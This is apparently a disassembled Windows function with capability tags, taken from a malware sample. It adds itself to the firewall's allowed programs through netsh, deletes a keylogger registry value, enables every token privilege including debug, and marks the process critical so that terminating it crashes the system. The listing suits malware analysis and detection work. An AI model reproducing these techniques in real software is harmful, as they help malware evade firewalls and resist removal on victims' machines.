Function at 0x140001380
Capabilities:
Acquire debug privileges
Check mutex on windows
Delete registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x590]
sub rsp, 0x690
mov rax, qword [0x14003d010]
xor rax, rsp
mov qword [rbp + 0x580], rax
lea r8, str.def9b6cd3f2b0c43097dfbc918862b82
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
jne 0x1400013ca
lea rcx, str.mutex_create_error__n
jmp 0x1400013e7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
lea rcx, str.mutex_already_exists__n
lea rdx, str.mutex_create_success__n
cmovne rcx, rdx
call fcn.140001320
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x208
call fcn.1400076d0
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400014df
xor edx, edx
lea rcx, [rbp + 0x160]
mov r8d, 0x208
call fcn.1400076d0
mov edx, 0x5c
lea rcx, [rsp + 0x50]
call fcn.1400074d0
test rax, rax
je 0x140001447
add rax, 2
jmp 0x14000144c
lea rax, [rsp + 0x50]
lea rdx, [rbp + 0x160]
sub rdx, rax
nop word [rax + rax]
movzx ecx, word [rax]
mov word [rdx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x140001460
lea rdx, [rbp + 0x160]
lea rcx, str.szFileName___s_n
call fcn.1400012c0
xor edx, edx
lea rcx, [rbp + 0x370]
mov r8d, 0x208
call fcn.1400076d0
lea rax, [rbp + 0x160]
mov edx, 0xc8
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r8, str.netsh_firewall_add_allowedprogram__s___s__ENABLE
lea rcx, [rbp + 0x370]
call fcn.140004280
lea rdx, [rbp + 0x370]
lea rcx, str.cmdline___s_n
call fcn.1400012c0
lea rcx, [rbp + 0x370]
call fcn.1400042e0
lea rax, [rsp + 0x30]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Softwaredef9b6cd3f2b0c43097dfbc918862b82
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001539
mov rcx, qword [rsp + 0x30]
lea rdx, str._kl_
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x30]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x140001539
lea rcx, str.keylogger_delete_OK__n
call fcn.1400012c0
xor edi, edi
mov qword [rsp + 0x30], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001717
lea rcx, str.SeAssignPrimaryTokenPrivilege
mov qword [rbp + 0x40], rdi
mov qword [rsp + 0x58], rcx
lea rax, str.SeCreateTokenPrivilege
lea rcx, str.SeLockMemoryPrivilege
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x60], rcx
mov ebx, edi
lea rcx, str.SeIncreaseQuotaPrivilege
mov qword [rsp + 0x68], rcx
lea rcx, str.SeUnsolicitedInputPrivilege
mov qword [rsp + 0x70], rcx
lea rcx, str.SeMachineAccountPrivilege
mov qword [rsp + 0x78], rcx
lea rcx, str.SeTcbPrivilege
mov qword [rbp - 0x80], rcx
lea rcx, str.SeSecurityPrivilege
mov qword [rbp - 0x78], rcx
lea rcx, str.SeTakeOwnershipPrivilege
mov qword [rbp - 0x70], rcx
lea rcx, str.SeLoadDriverPrivilege
mov qword [rbp - 0x68], rcx
lea rcx, str.SeSystemProfilePrivilege
mov qword [rbp - 0x60], rcx
lea rcx, str.SeSystemtimePrivilege
mov qword [rbp - 0x58], rcx
lea rcx, str.SeProfileSingleProcessPrivilege
mov qword [rbp - 0x50], rcx
lea rcx, str.SeIncreaseBasePriorityPrivilege
mov qword [rbp - 0x48], rcx
lea rcx, str.SeCreatePagefilePrivilege
mov qword [rbp - 0x40], rcx
lea rcx, str.SeCreatePermanentPrivilege
mov qword [rbp - 0x38], rcx
lea rcx, str.SeBackupPrivilege
mov qword [rbp - 0x30], rcx
lea rcx, str.SeRestorePrivilege
mov qword [rbp - 0x28], rcx
lea rcx, str.SeShutdownPrivilege
mov qword [rbp - 0x20], rcx
lea rcx, str.SeDebugPrivilege
mov qword [rbp - 0x18], rcx
lea rcx, str.SeAuditPrivilege
mov qword [rbp - 0x10], rcx
lea rcx, str.SeSystemEnvironmentPrivilege
mov qword [rbp - 8], rcx
lea rcx, str.SeChangeNotifyPrivilege
mov qword [rbp], rcx
lea rcx, str.SeRemoteShutdownPrivilege
mov qword [rbp + 8], rcx
lea rcx, str.SeUndockPrivilege
mov qword [rbp + 0x10], rcx
lea rcx, str.SeSyncAgentPrivilege
mov qword [rbp + 0x18], rcx
lea rcx, str.SeEnableDelegationPrivilege
mov qword [rbp + 0x20], rcx
lea rcx, str.SeManageVolumePrivilege
mov qword [rbp + 0x28], rcx
lea rcx, str.SeImpersonatePrivilege
mov qword [rbp + 0x30], rcx
lea rcx, str.SeCreateGlobalPrivilege
mov qword [rbp + 0x38], rcx
nop word [rax + rax]
xor ecx, ecx
lea r8, [rsp + 0x3c]
mov rdx, rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rcx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rdi
xor edx, edx
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x44], 2
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea rbx, [rbx + 1]
mov rax, qword [rsp + rbx*8 + 0x50]
test rax, rax
jne 0x1400016c0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14000173e
lea rcx, str.OpenProcess_error__n
jmp 0x1400017a6
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtSetInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001769
lea rcx, str.GetProcAddress_error__n
jmp 0x1400017a6
mov r9d, 4
mov dword [rsp + 0x30], 1
lea r8, [rsp + 0x30]
mov rcx, rbx
lea edx, [r9 + 0x19]
call rax
test eax, eax
jns 0x14000179f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_error:__d___n
call fcn.140001320
jmp 0x1400017ab
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_success__n
call fcn.140001320
mov eax, 1
mov rcx, qword [rbp + 0x580]
xor rcx, rsp
call fcn.1400043c0
lea r11, [rsp + 0x690]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret